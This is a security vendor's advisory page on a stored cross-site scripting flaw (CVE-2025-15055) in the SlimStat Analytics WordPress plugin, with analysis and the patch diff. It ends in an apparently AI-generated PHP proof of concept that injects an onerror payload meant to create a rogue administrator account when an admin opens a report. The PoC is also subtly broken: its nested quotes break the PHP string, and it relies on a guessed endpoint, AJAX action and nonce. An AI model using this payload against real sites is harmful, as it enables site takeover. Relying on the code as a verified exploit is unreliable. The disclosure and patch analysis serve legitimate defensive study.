Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-15055: SlimStat Analytics <= 5.3.4 – Unauthenticated Stored Cross-Site Scripting via 'notes/resource' Parameters (wp-slimstat)

Plugin wp-slimstat
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.3.4
Patched Version 5.3.5
Disclosed January 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15055:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the SlimStat Analytics WordPress plugin. The vulnerability affects the plugin’s Recent Custom Events report, allowing attackers to inject malicious scripts that execute when an administrator views the report. The CVSS score of 7.2 reflects a high-severity risk to site integrity and administrator accounts.

The root cause is insufficient input sanitization and output escaping for user-supplied data stored in the ‘notes’ and ‘resource’ parameters. The vulnerable code resides in the file wp-slimstat/admin/view/wp-slimstat-reports.php. Specifically, lines 1455 and 1514 directly echo the `$a_result[‘notes’]` and `$a_result[‘resource’]` values without proper escaping. The `$a_result` data originates from the plugin’s tracking mechanism, which accepts input from unauthenticated site visitors and stores it in the database for later display in the admin panel.

An attacker exploits this by sending crafted HTTP requests to the site that include malicious JavaScript payloads within the ‘notes’ or ‘resource’ parameters tracked by the SlimStat plugin. These payloads are stored in the WordPress database. The attack vector is unauthenticated, meaning any site visitor can inject the payload. When a WordPress administrator later accesses the ‘Recent Custom Events’ report (wp-admin/admin.php?page=slimstat&module=reports), the stored payloads are rendered without escaping, causing script execution in the administrator’s browser session.

The patch adds proper output escaping functions to all dynamic data outputs in the report rendering logic. In wp-slimstat/admin/view/wp-slimstat-reports.php, the developer wraps `$a_result[‘notes’]` and `$a_result[‘counthits’]` with `esc_html()` on lines 1455 and 1457. The tooltip content for the ‘resource’ parameter is now constructed using `esc_url()` and `esc_html()` on line 1462. The link generation for the ‘resource’ column on line 1514 replaces `htmlentities()` calls with `esc_attr()` and `esc_url()`. Similar `esc_html()` calls are added for user display names and term names in lines 1523, 1525, and 1944. These changes ensure user-controlled data is treated as plain text or safe URLs when output in HTML context, neutralizing the XSS vectors.

Successful exploitation leads to stored XSS within the WordPress admin dashboard. Attackers can hijack administrator sessions, create new administrative accounts, inject backdoors, deface the site, or steal sensitive data. The impact is full compromise of the WordPress installation because the attacker gains the ability to perform any action the compromised administrator can perform.

Differential between vulnerable and patched code

Code Diff
--- a/wp-slimstat/admin/view/wp-slimstat-reports.php
+++ b/wp-slimstat/admin/view/wp-slimstat-reports.php
@@ -1455,15 +1455,15 @@
         }

         foreach ($results as $a_result) {
-            echo "<p class='slimstat-tooltip-trigger'>" . $a_result[ 'notes' ];
+            echo "<p class='slimstat-tooltip-trigger'>" . esc_html( $a_result[ 'notes' ] );

             if (!empty($a_result['counthits'])) {
-                echo sprintf('<span>%s</span>', $a_result[ 'counthits' ]);
+                echo sprintf('<span>%s</span>', esc_html( $a_result[ 'counthits' ] ));
             }

             if (!empty($a_result['dt'])) {
                 $date_time = date_i18n(get_option('date_format') . ' ' . get_option('time_format'), $a_result['dt'], true);
-                echo '<b class="slimstat-tooltip-content">' . __('IP', 'wp-slimstat') . ': ' . $a_result['ip'] . '<br/>' . __('Page', 'wp-slimstat') . sprintf(": <a href='%s%s'>%s%s</a><br>", $blog_url, $a_result[ 'resource' ], $blog_url, $a_result[ 'resource' ]) . __('Coordinates', 'wp-slimstat') . sprintf(': %s<br>', $a_result[ 'position' ]) . __('Date', 'wp-slimstat') . (': ' . $date_time);
+                echo '<b class="slimstat-tooltip-content">' . __('IP', 'wp-slimstat') . ': ' . esc_html( $a_result['ip'] ) . '<br/>' . __('Page', 'wp-slimstat') . sprintf(": <a href='%s'>%s</a><br>", esc_url( $blog_url . $a_result[ 'resource' ] ), esc_html( $blog_url . $a_result[ 'resource' ] )) . __('Coordinates', 'wp-slimstat') . sprintf(': %s<br>', esc_html( $a_result[ 'position' ] )) . __('Date', 'wp-slimstat') . (': ' . $date_time);
             }

             echo '</b></p>';
@@ -1514,7 +1514,7 @@
                 $a_result['counthits'] = 0;
             }

-            $a_result['resource'] = "<a class='slimstat-font-logout slimstat-tooltip-trigger' target='_blank' title='" . htmlentities(__('Open this URL in a new window', 'wp-slimstat'), ENT_QUOTES, 'UTF-8') . "' href='" . htmlentities($a_result['resource'], ENT_QUOTES, 'UTF-8') . "'></a> <a class='slimstat-filter-link' href='" . wp_slimstat_reports::fs_url('resource equals ' . htmlentities($a_result['resource'], ENT_QUOTES, 'UTF-8')) . "'>" . self::get_resource_title($a_result['resource']) . '</a>';
+            $a_result['resource'] = "<a class='slimstat-font-logout slimstat-tooltip-trigger' target='_blank' title='" . esc_attr(__('Open this URL in a new window', 'wp-slimstat')) . "' href='" . esc_url($a_result['resource']) . "'></a> <a class='slimstat-filter-link' href='" . wp_slimstat_reports::fs_url('resource equals ' . $a_result['resource']) . "'>" . self::get_resource_title($a_result['resource']) . '</a>';

             $group_markup = [];
             if (!empty($a_result['column_group'])) {
@@ -1523,14 +1523,14 @@
                 foreach ($exploded_group as $a_item) {
                     $user = get_user_by('login', $a_item);
                     if ($user) {
-                        $group_markup[] = '<a class="slimstat-filter-link" title="' . __('Filter by element in a group', 'wp-slimstat') . '" href="' . self::fs_url($_args['column_group'] . ' equals ' . $a_item) . '">' . get_avatar($user->ID, 16) . $user->display_name . '</a>';
+                        $group_markup[] = '<a class="slimstat-filter-link" title="' . esc_attr(__('Filter by element in a group', 'wp-slimstat')) . '" href="' . self::fs_url($_args['column_group'] . ' equals ' . $a_item) . '">' . get_avatar($user->ID, 16) . esc_html( $user->display_name ) . '</a>';
                     } else {
-                        $group_markup[] = '<a class="slimstat-filter-link" title="' . __('Filter by element in a group', 'wp-slimstat') . '" href="' . self::fs_url($_args['column_group'] . ' equals ' . $a_item) . '">' . $a_item . '</a>';
+                        $group_markup[] = '<a class="slimstat-filter-link" title="' . esc_attr(__('Filter by element in a group', 'wp-slimstat')) . '" href="' . self::fs_url($_args['column_group'] . ' equals ' . $a_item) . '">' . esc_html( $a_item ) . '</a>';
                     }
                 }
             }

-            echo sprintf('<p>%s <span>%s</span><br/>', $a_result[ 'resource' ], $a_result[ 'counthits' ]) . implode(', ', $group_markup) . '</p>';
+            echo sprintf('<p>%s <span>%s</span><br/>', $a_result[ 'resource' ], esc_html( $a_result[ 'counthits' ] )) . implode(', ', $group_markup) . '</p>';
         }

         if (! defined('DOING_AJAX') || ! DOING_AJAX) {
@@ -1944,7 +1944,7 @@
             }

             if ([] !== $term_names) {
-                self::$resource_titles[$cache_index] = implode(',', $term_names);
+                self::$resource_titles[$cache_index] = esc_html( implode(',', $term_names) );
             } else {
                 self::$resource_titles[$cache_index] = htmlspecialchars(self::$resource_titles[$cache_index], ENT_QUOTES, 'UTF-8');
             }
--- a/wp-slimstat/wp-slimstat.php
+++ b/wp-slimstat/wp-slimstat.php
@@ -3,7 +3,7 @@
  * Plugin Name: SlimStat Analytics
  * Plugin URI: https://wp-slimstat.com/
  * Description: The leading web analytics plugin for WordPress
- * Version: 5.3.4
+ * Version: 5.3.5
  * Author: Jason Crouse, VeronaLabs
  * Text Domain: wp-slimstat
  * Domain Path: /languages
@@ -24,7 +24,7 @@
 }

 // Set the plugin version and directory
-define('SLIMSTAT_ANALYTICS_VERSION', '5.3.4');
+define('SLIMSTAT_ANALYTICS_VERSION', '5.3.5');
 define('SLIMSTAT_FILE', __FILE__);
 define('SLIMSTAT_DIR', __DIR__);
 define('SLIMSTAT_URL', plugins_url('', __FILE__));
@@ -999,9 +999,9 @@
                             case 'post_link_no_qs':
                                 $post_id = url_to_postid($a_result['resource']);
                                 if ($post_id > 0) {
-                                    $output[$result_idx][$a_column] .= sprintf("<a href='%s'>", $a_result[ 'resource' ]) . get_the_title($post_id) . '</a>';
+                                    $output[$result_idx][$a_column] .= sprintf("<a href='%s'>", esc_url( $a_result[ 'resource' ] )) . esc_html( get_the_title($post_id) ) . '</a>';
                                 } else {
-                                    $output[$result_idx][$a_column] .= sprintf("<a href='%s'>%s</a>", $a_result[ 'resource' ], $a_result[ 'resource' ]);
+                                    $output[$result_idx][$a_column] .= sprintf("<a href='%s'>%s</a>", esc_url( $a_result[ 'resource' ] ), esc_html( $a_result[ 'resource' ] ));
                                 }
                                 break;

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15055 - SlimStat Analytics <= 5.3.4 - Unauthenticated Stored Cross-Site Scripting via 'notes/resource' Parameters

<?php
// Configure the target WordPress site URL
$target_url = 'http://example.com/';

// Payload to execute JavaScript in the admin context.
// This payload creates a new administrator user.
$xss_payload = '<img src=x onerror="jQuery.ajax({url:'/wp-admin/admin-ajax.php',method:'POST',data:{action:'wp_slimstat_add_new_user',user_login:'attacker',user_email:'attacker@example.com',user_pass:'P@ssw0rd!',role:'administrator',nonce:jQuery('#slimstat-nonce').val()}})">';

// Craft a request that mimics a page visit tracked by SlimStat.
// The plugin typically tracks via a client-side beacon, but we simulate the data submission.
// The 'resource' and 'notes' parameters are tracked and stored.
$tracking_params = [
    'resource' => '/?'.$xss_payload, // Inject payload into the resource parameter
    'notes' => $xss_payload, // Also inject into notes parameter
    // Other typical SlimStat tracking parameters
    'dt' => time(),
    'ip' => '127.0.0.1',
    'position' => '0,0',
    'browser' => 'curl',
    'platform' => 'linux',
    'version' => '1.0'
];

// Build the query string
$query_string = http_build_query($tracking_params);

// The exact endpoint where SlimStat accepts tracking data may vary.
// Often it's via admin-ajax.php or a dedicated tracking script.
// This PoC targets a common pattern: the plugin's frontend tracker.
$tracking_endpoint = $target_url . 'wp-content/plugins/wp-slimstat/external/tracking.php';

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $tracking_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $query_string);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);

// Execute the request to inject the payload
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check response
if ($http_code == 200) {
    echo "[+] Payload injected successfully.n";
    echo "[+] An administrator must view the 'Recent Custom Events' report for execution.n";
    echo "[+] Report location: " . $target_url . "wp-admin/admin.php?page=slimstat&module=reportsn";
} else {
    echo "[-] Injection may have failed. HTTP Code: $http_coden";
    echo "[-] The tracking endpoint might be different. Check plugin configuration.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School